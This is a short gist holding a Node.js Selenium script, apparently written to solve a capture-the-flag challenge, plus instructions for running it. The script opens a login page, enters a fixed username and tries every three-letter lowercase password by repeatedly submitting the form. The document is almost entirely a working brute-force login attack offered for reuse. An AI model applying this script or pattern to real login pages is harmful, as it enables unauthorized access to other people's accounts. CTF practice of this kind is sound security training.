ctf1.js

gistfile1.txt

const { Builder, By, Key } = require("selenium-webdriver");

async function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

async function breakCtf() {
  console.log("Breaking CTF...");
  const driver = await new Builder().forBrowser("chrome").build();

  // Open the Home Page
  await driver.get("https://iiitv-ctf-mains.surge.sh/");

  // Wait for 3 second
  await sleep(3000);

  // Find the username input box and ente rusername
  usrName = "pupa";
  const usernameLocator = await driver
    .findElement(By.id("username"))
    .sendKeys(usrName);
  console.log("Username entered");

  // Password input box
  const pwdLocator = await driver.findElement(By.id("password"));

  // Signin Button
  const signInBtn = await driver.findElement(By.className("btn-signin"));

  // Signin Form
  const signInForm = await driver.findElement(By.className("form-signin"));

  // Array of letters
  var letters = "abcdefghijklmnopqrstuvwxyz".split("");

  // Bruteforce
  for (var lttr1 of letters) {
    for (var lttr2 of letters) {
      for (var lttr3 of letters) {
        await pwdLocator.clear();
        var pwd = lttr1 + lttr2 + lttr3;
        await pwdLocator.sendKeys(pwd);
        console.log(pwd);
        await signInBtn.click();
        // signInBtn.sendKeys(Key.chord(Key.CONTROL, Key.ENTER));
        // signInForm.submit();
      }
    }
  }
}

breakCtf();

Steps to run:

• Have Chrome Installed on your machine
• Install Node.js
• Save this file as ctf1.js
• Run npm i selenium-webdriver in the same folder as the code
• Run node ctf1.js in the console

I might not write the most elegant JS code. Contributions are welcome!